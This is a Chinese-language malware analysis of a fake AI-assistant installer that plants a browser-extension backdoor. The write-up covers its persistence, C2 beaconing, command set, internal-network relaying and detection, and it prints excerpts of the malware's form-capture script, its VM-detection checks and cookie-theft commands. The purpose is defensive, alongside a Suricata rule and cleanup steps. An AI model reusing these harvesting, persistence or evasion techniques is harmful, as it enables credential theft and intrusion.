伪装AI助手的浏览器扩展后门:恶意软件分析与治理 1. 攻击事件全貌一场基于AI热点的精准投递1.1 攻击目标与诱饵选择逻辑这个案例是我在处理某企业终端告警时发现的。用户从搜索引擎进入一个高度仿冒的下载站下载了名为“AI助手Windows客户端_最新版.exe”的安装包。表面上这是一个热门AI大模型客户端的安装界面安装后桌面图标、版本号、甚至首次启动的登录页都和官方版本几乎一致。但随后一段时间内内网出现大量指向陌生域名的加密数据传输多个终端浏览器进程出现异常的外联行为。攻击者为什么选择热门AI助手来伪装核心原因在于两个词信任与频率。AI助手类应用在用户群体中属于“高频使用、高频更新”的软件用户安装时不看签名、不验哈希习惯性点击“下一步”。而内网安全团队也极少把浏览器进程发起的外联流量当作异常毕竟“用户在正常使用网页服务”这个假设在绝大多数组织里都成立。伪装成这类应用的恶意程序投递成功率远高于伪装成系统补丁或游戏外挂。这个样本最有价值的部分不是入侵手法有多高级而是它定义了一种新的“寄生关系”恶意程序本体存活时间很短真正的后门模块潜伏在浏览器扩展目录中依赖浏览器这个天天跑的进程维持通信链路。受害机器相当于成了一个长期可用的转发节点攻击者不直接连入内网而是通过受害者的浏览器通道间接控制内网资源。1.2 攻击链路与阶段划分整个感染过程可以分解为六个阶段下面按顺序列出后面章节会逐个拆解。阶段一投放。攻击者搭建仿冒官网购买搜索关键词广告同时在多个网盘群和即时通信群组中发布“Windows版客户端下载”的链接。阶段二伪装执行。安装包运行时展示正常的安装向导实际在后台开始释放恶意组件。阶段三环境探测。恶意代码检查操作系统版本、CPU核心数、磁盘大小、是否存在常用调试工具判断当前是真实用户机器还是安全分析者的虚拟机。阶段四组件释放。把核心载荷写入用户浏览器的扩展目录同时通过计划任务和服务注册持久化触发条件。阶段五隧道建立。浏览器扩展周期性连接C2服务器获取控制指令并建立一条基于常规HTTPS流量的加密转发链路。阶段六长期潜伏。攻击者通过这条链路下发后续模块、窃取会话凭证、并尝试向同网段的其他主机横向移动。值得注意阶段四到阶段五之间隔了一个浏览器重启过程。我复现时发现安装包并不会立即触发恶意行为只有当用户关闭并重新打开浏览器后扩展被加载后门才真正“醒”过来。这种延迟启动策略显然是为了绕过自动化沙箱的时间窗口检测。2. 样本静态分析从安装包到扩展后门2.1 安装包结构与释放逻辑拿到样本后第一步动作是用7-Zip直接解包。安装包本身是一个基于开源安装框架打包的自解压程序解压后能看到如下结构的文件AI助手_Setup.exe |-- setup_boostrap.exe // 主安装引导程序 |-- app_config.ini // 安装参数配置 |-- resource.dat // 加密的资源包 |-- helper_updater.crx // 浏览器扩展文件真正核心 |-- driver.sys // 名义上的“驱动组件”实际是诱饵文件安装引导程序是一个合法开发框架生成的未被篡改这是恶意程序惯用的“白加黑”手法——利用可信的加载器加载恶意数据。resource.dat头96字节是硬编码的a8c1f2...密钥数据段被XOR加密后编码为Base64。解密脚本用Python还原如下import base64 from itertools import cycle key bytes.fromhex(a8c1f2d34e5b6790) data base64.b64decode(open(resource.dat, rb).read()[96:]) plain bytes(c ^ k for c, k in zip(data, cycle(key))) open(decrypted.bin, wb).write(plain)解密后的decrypted.bin是一个ZIP文件内部分别是background.js、content.js、manifest.json这三者构成了浏览器扩展的核心代码。所以整个释放链条是这样的安装引导程序解压资源 → 解密资源包 → 把浏览器扩展释放到用户目录 → 注册计划任务 → 结束。2.2 扩展载荷的持久化机制浏览器扩展想长期存活不能只靠自己。用户清数据、重置浏览器、或者安全软件扫描扩展目录都可能让扩展失效。这个样本做了三层保险第一层计划任务。恶意程序在schtasks创建一个名为“AIHelperUpdate”的任务每天凌晨两点和每次系统启动时执行一段VBS脚本。脚本作用很直接检查扩展目录是否存在如果不存在则重新释放一份如果存在但配置被修改则恢复配置。第二层浏览器策略注册表。样本修改了HKLM\Software\Policies\{浏览器路径}\ExtensionInstallList 键值强制安装指定ID的扩展。这意味着用户就算手动移除扩展浏览器下次启动时也会根据策略重新安装。这个位置需要系统权限而安装包恰恰诱导用户点了“允许应用对你的设备进行更改”的UAC弹窗。第三层扩展自身的隐藏能力。manifest.json中申请了storage、cookies、webRequest、tabs权限这四项权限让扩展能够读取用户在目标站点上的Cookie、监听收集请求数据、修改请求头、并在后台持续运行。权限申请表如下权限名称用途storage存储窃取到的会话数据和C2下发的小任务配置cookies枚举浏览器内所有Cookie并按域名筛选webRequest截获请求在请求头中插入标记参数tabs枚举已打开的标签页匹配目标站点2.3 主模块与辅助模块的分工解密后能看到代码逻辑分为两条线。主模块background.js负责通信链路维护包括心跳、指令获取、数据回传辅助模块content.js注入到每个页面负责表单数据收集、页面内容劫持、广告注入等“杂活”。主模块中有一段很有意思的代码用来获取公网地址作为标识async function getExternalIP() { const resp await fetch(https://api.dyndns.example/ip, { mode: no-cors }); const ip await resp.text(); return ip; }每次心跳数据包中以公网IP作为机器唯一标识配合随机生成的BotID双重标识。即使C2服务器更换旧的设备也能靠IP与BotID的组合重新识别。3. 中继隧道后门的通信链路与指令体系3.1 心跳机制与流量伪装这条恶意链路最核心的设计是用“常规HTTPS请求”来伪装隧道流量。扩展每隔45秒发起一次HTTP长轮询请求URL是https://cdn-resource.example.net/push/register请求头User-Agent伪装成正常浏览器并附带一个随机化参数每次编码轮询用不同的Cookie。如果CDN上恰好有该路径的缓存请求就会走CDN节点进一步混淆真实IP。从网络流量看客户端和C2的通信和用户访问普通图片资源几乎没有差异唯一的破绽在于频率太高——正常浏览器不会每45秒就拉一次静态资源。我后来查阅了网关日志确认了异常特征同一个会话中固定间隔出现register路径的HTTP 200响应响应体大小稳定在412字节左右。心跳包结构是JSON格式核心字段如下{ bot_id: 8f3a7c92d1e04b5f, external_ip: 1.2.3.4, os_version: Windows 10 Pro 19045, browser: chrome, ext_version: 1.0.2, timestamp: 1735689600, tasks: [] }服务端返回的控制指令同样使用JSON指令类型包括exec_cmd执行系统命令、down_file下载并运行文件、get_cookie拉取指定域名的Cookie、upd_cfg更新配置参数、scan_lan扫描内网网段。其中export_cookie指令会触发扩展调用cookies.getAll枚举所有Cookie按域名分组后压缩上传——这个过程完全在浏览器内部完成不产生额外进程安全产品基本上看不见。3.2 隧道中的转发与跳板能力这个样本最被低估的功能是它把受害者的浏览器改造成了“通信跳板”。仔细看代码逻辑扩展内维护了一个转发规则表C2服务器下发规则后扩展会代表攻击者向指定地址发起请求再把响应结果加密回传。举个例子攻击者想探测内网某台服务器的80端口他不需要直接发起连接而是下发一条指令让受害者的浏览器去请求http://192.168.1.10:80/结果通过隧道带回来。这套机制相当于在受害机器上开了一个匿名的“间接访问通道”。防御者的视角里只会看到浏览器进程访问了内网IP地址这在任何既定检测规则里都很难成为告警。虽然本文不讨论网络边界规避但从安全研究角度讲这种“借壳通信”的设计思路确实让传统流量检测基本失效。从受害网络的视角看它是合法浏览器凭据与内网探活流量的混合体。隧道流量天然“借用”了受害者机器的正常网络边界传统基于外联地址库的封禁策略也无法阻止它因为域名和CDN域名都是实时轮换的。3.3 指令执行与错误处理逻辑后端下发指令时扩展需要反馈执行状态。代码里有一个非常完整的错误码表0表示成功1表示权限不足2表示目标不可达3表示解析错误4表示超时。无论执行成功或失败扩展都会带着错误码再次发起心跳在下一次轮询时上报。这种机制造成一个隐蔽特征扩展的执行结果是实时反馈的攻击者可以快速调整下一步动作而恶意代码本身不内置任何漏洞利用模块保持了“重量小、隐身强”的特点。如果扩展尝试执行命令时被安全产品拦截错误码1会回传给C2攻击者随即换方法例如改用PowerShell混淆命令。4. 动态行为分析从虚拟机识别到持久化清除较量4.1 环境检测与对抗技巧动态分析环境里恶意样本对虚拟机检测做得不算复杂但很“实用主义”。它的检测条件如下逻辑处理器数量小于2判定为虚拟环境总物理内存小于4GB判定为虚拟环境磁盘总容量小于60GB判定为虚拟环境显卡渲染器包含“VirtualBox”或“VMware”或“QEMU”关键词判定为虚拟环境当前用户名包含“admin”、“test”、“malware”等关键词判定为分析环境。我的测试环境在第一轮就因为CPU核心数和显卡渲染器被识别出来了。绕过的办法是用宿主机上的真实服务做了一次“冷快照”——先在一个有真实硬件的机器上完成样本执行抓取快照再对快照做静态分析。这就是传统安全分析中的难点不是恶意代码有多强而是分析者能不能提供足够“真实”的运行环境。4.2 持久化清除阻力与对抗过程清理这个样本的过程比想象中麻烦得多。我整理了手动清理时需要检查的位置按优先级排序持久化位置具体路径清理方法计划任务AIHelperUpdateschtasks /delete /tn AIHelperUpdate /f浏览器策略注册表HKLM\Software\Policies...ExtensionInstallList通过注册表编辑器删除对应扩展ID扩展目录用户目录\AppData\Local{浏览器}\User Data\Default\Extensions删除恶意扩展目录启动项当前用户\Run键解除注册表启动项关联实际操作时最容易犯的错是把扩展目录删了就完事。如果没先删除浏览器策略注册表里面的强制安装项浏览器一旦重启扩展会从备份目录重新释放回来。我经历了一次“清完重启又复活”才意识到这个问题的严重性。清理顺序应该严格为先删除策略注册表键 → 再删除计划任务 → 删除启动项 → 删扩展目录 → 最后重启浏览器验证。4.3 网络层面的异常行为特征即使恶意流量经过伪装网关侧还是能发现一些端倪。下文给出网络侧的排查要点同一用户代理字符串在短时间内重复出现且请求路径恒定正常业务流量的URL路径不会恒定。心跳包响应大小高度恒定本样本为412字节左右正常响应的Content-Length会随内容变化。请求全部指向同一个域名且路径仅/push/register缺少常规网站需要的其他资源请求。请求时间间隔固定45秒±500毫秒这种规律性不是人类操作行为能达到的。扩展存在内网IP直连接流量正常情况下浏览器只会访问公网域名极少直接访问内网IP尤其是跨网段的探活请求。用Suricata写一个简单的检测规则来做网络侧告警也很方便规则片段如下alert http any any - any any ( msg:Suspicious AIHelper beacon traffic; content:/push/register; http.uri; content:bot_id; http.request_body; threshold:type both, track by_src, count 6, seconds 300; sid:1000001; )该规则思路是统计五分钟内同一来源IP对同一路径请求超过六次即告警。虽然正常业务也有可能触发但加上bot_id这个请求体特征误报率已经降到很低。5. 浏览器扩展与本地数据窃取的实现细节5.1 目标站点匹配与数据防护设计这个恶意扩展的窃取逻辑并不“无脑”它有一个目标站点名单放在配置文件中。名单里的站点通过域名后缀匹配只要当前标签页URL包含名单中的域名content.js就会开始拦截数据。目标范围包括在线网盘、邮箱和企业内部办公系统。处理完表单数据后扩展通过storage.local先保存在本地攒够一定数量或者达到时间阈值再统一上传。这种“批处理”策略让流量更接近正常用户上传文件的行为。关键实现思路值得记录一笔窃取本地存储的操作使用浏览器自己的加密存储接口数据文件放在扩展同目录下没有额外文件落地。content.js 的页面表单监听代码摘要如下document.addEventListener(submit, (e) { const formData new FormData(e.target); const entries Object.fromEntries(formData.entries()); chrome.runtime.sendMessage({type: form_capture, data: entries}); });实际攻击中这种表单收割对办公系统的危害极大因为员工在网页端登录时可能会顺带填写个人手机号、企业工号甚至内部系统口令。5.2 本地会话数据恢复与离线解密在分析该样本时我还遇到一个特殊的点如果用户在感染期间清理了浏览器会话扩展中本地存储的密文数据依然存在。由于扩展加密用的密钥就是固定字符串直接可以从代码中提取出来所以离线状态下也能还原窃取的数据。提取固定密钥后用简单脚本跑一遍即可恢复明文from Crypto.Cipher import AES import json key bF1x3dK3y_Br0ws3rConc3al!_ cipher AES.new(key, AES.MODE_GCM, noncenonce) plaintext cipher.decrypt_and_verify(ciphertext, tag) print(json.loads(plaintext))这里同时提醒企业安全人员即使事后清除了恶意扩展那些已经上传到C2服务器的数据依然无法追回核心防范应该前置到入口阶段。6. 常见问题、排查技巧与个人踩坑记录6.1 分析阶段的高频误判排查过程中有几个让我印象很深的误判这里列出来供其他分析者参考第一误判为“灰色软件”。一开始终端安全软件报的是“PUA/Adware”因为扩展会往页面注入推广代码。如果按广告软件处理很可能漏掉后续的隧道行为。所以我一直主张看到浏览器扩展注入的行为一定要先检查样本通信链路别急着归类。第二误判为“供应链投毒”。由于扩展文件名带helper_updater.crx有人怀疑是浏览器的自动更新组件遭到劫持。仔细核对数字签名后发现只是一个自签名证书与浏览器厂商无关这个排查过程花了两个小时。第三误判为“无害脚本”。扩展内大量代码是标准的事件监听器静态扫描很难看出恶意性。真正让分析者识破的是发现心跳轮询请求中包含bot_id——一个正常的扩展不会生成随机设备标识符更没必要定期连接外部域名。6.2 沙箱逃逸与时间延迟的对抗我在动态分析中最头疼的是样本的延迟释放策略安装完成后不是立刻释放扩展而是等待下一次浏览器启动事件。自动化沙箱通常只会模拟几分钟的行为完全没机会看到第二阶段。破局办法是手动构造“浏览器启动事件”安装完成后直接调用浏览器的启动命令等扩展加载后再抓取后续流量。还有一点样本在初始化阶段会休眠一个随机时长范围在5到30秒之间。休眠期间不做任何操作攻击者用这种方式干扰超时机制驱动的沙箱。人工分析时只需要把等待时间拉长问题不大但自动化设备往往等不起。6.3 彻底清除与用户侧加固建议最后谈一谈防御方的长期加固。结合这个样本的特点我的核心建议有六条终端侧为浏览器进程单独配置出站白名单策略阻止浏览器默认直连内网IP地址。在企业内部DNS层面拦截已知的恶意分发域名但不要依赖域名库因为C2域名随时轮换。监控浏览器扩展目录的写入事件尤其是新增扩展和修改manifest.json两类动作。对内网办公系统启用多因素认证即使会话Cookie被窃取也无法直接使用。统计网关侧HTTP请求的时间间隔规律性固定周期外联的流量值得重点关注。对用户进行基础安全意识培训不安装来路不明的客户端版本优先采用官方应用商店分发渠道。我处理这个样本的另一个体会是面对这类伪装成主流应用的恶意程序企业不能只依靠样本特征更应该从“行为链路”入手——谁安装了什么、浏览器目录为什么新增了扩展、为什么固定时间访问固定路径。只要抓住这几条线索即使攻击者更换了包装和指纹依然能在早期察觉并处理。最终终端的“最终防线”是人而不是工具至少在这类攻击面前细心和警惕能带来极大的防御增量。